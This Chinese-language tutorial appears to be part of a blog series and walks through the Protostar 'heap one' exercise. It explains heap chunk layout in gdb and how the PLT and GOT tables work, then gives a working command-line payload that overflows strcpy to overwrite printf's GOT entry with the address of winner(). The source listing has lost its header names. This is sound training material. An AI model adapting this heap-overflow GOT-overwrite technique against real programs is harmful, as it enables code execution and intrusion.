前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

程序静态分析

https://exploit.education/protostar/heap-one/

#include #include #include #include #include struct internet {#定义了一个名为 internet 的结构体int priority;#定义了一个int 类型的 priority函数char *name;#定义了一个 char 指针 name 函数};void winner()#winner函数{printf("and we have a winner @ %d\n", time(NULL));#输出and we have a winner @ %d\n", time(NULL)}int main(int argc, char **argv)#主函数,参数是从命令行里获取的{struct internet *i1, *i2, *i3;#声明了三个指针变量,i1、i2和i3,它们都是指向struct internet类型的结构体的指针i1 = malloc(sizeof(struct internet));#为 internet 结构体分配内存i1->priority = 1;#访问 i1 指向的结构体中的 priority,赋予1值i1->name = malloc(8);#分配8个字节的内存i2 = malloc(sizeof(struct internet)); #为 internet 结构体分配内存i2->priority = 2;#访问 i1 指向的结构体中的 priority,赋予2值i2->name = malloc(8);#分配8个字节的内存strcpy(i1->name, argv[1]);#将第一个命令行参数复制到 i1strcpy(i2->name, argv[2]);#将第二个命令行参数复制到 i2printf("and that's a wrap folks!\n");输出and that's a wrap folks!}

主函数的分配指针看着有些复杂,我们实际调试一下就能理解了

程序动态分析

使用gdb打开程序,在第一个malloc函数处下一个断点

我们要输入两个命令行参数才能运行程序

现在停在了这里,我们可以输入n执行malloc函数,为 internet 结构体分配内存,i1 和 i2 是指向这些结构体的指针

现在程序给我们分配了一个堆,地址是0x804a000-0x806b000,现在可以查看堆空间里的内容

现在堆里只有两个数据,0x11-1,0x10是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

而最后的0x20ff1,表示空余的堆空间的大小

输入n,执行下一个指令,然后查看堆空间

这里按照程序 i1->priority = 1; 访问 i1 指向的结构体中的 priority,赋予1值

输入n,执行下一个指令

程序给我们分配8个字节的内存,0x0804a018是之后存放这8个字节的堆地址,前面标记的整数可以很方便帮助我们计算,所以第18的地址是图中圈起来的,程序会将我们输入的值,放入这里

输入n,执行第二个分配堆空间的操作

操作逻辑是和第一个一样的,0x0804a038地址也是我们第二个参数存放的地址,也就是图片上圈起来的地方

现在我们将输入的内容放入堆中

了解了这个程序的运作机制,现在我们可以想想怎么破解程序了

漏洞点还是出在strcpy函数身上,strcpy函数不会检查目标缓冲区的大小,很容易导致缓冲区溢出,我们可以覆盖掉第二个参数的写入地址0x0804a038,那么程序就可以在任意地址写入我们指定的值

什么是plt表与got表

这里举一个例子,我们用file工具查看文件信息可以发现

他是动态链接库的,意思是从libc里调用的函数

比如这里的gets函数,他不是二进制文件本身里面自带的,而从本机上的libc库中调用的,这样就能缩小文件体积

而plt表的作用是当程序需要调用一个外部函数时,它首先跳转到PLT表中寻找该函数对应的入口,PLT入口包含跳转指令,然后跳转到GOT表中的相应地址,GOT中的地址会指向解析函数,之后解析函数将实际的函数地址写入GOT表,以便后续直接跳转调用函数

实际操作一下就理解了

这里puts函数的plt表地址是0x80483cc,我们可以查看这个地址

然后跳转到了got表的地址,调用puts函数

这里我们可以覆盖掉printf函数got表地址,让程序执行printf函数时跳转到winner函数地址

破解

覆盖第二个malloc写入字符的地址,所需要的垃圾字符数

python -c "print('A'*20)"

我们可以使用echo工具来输入不可见字符,printf函数的got表地址0x8049774

这里gdb将printf函数解析成了puts函数,第一个参数确定了,我们还需要winner函数的地址

./heap1 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"

成功跳转到winner函数,这里我们也可以使用gdb查看堆空间

原本的0x0804a038被我们改成了printf函数got表的地址,之后我们输入的第二个参数就会覆盖掉printf函数got表原本的地址,变成winner函数地址,当程序调用prinf函数时,就会跳转到winner函数

堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制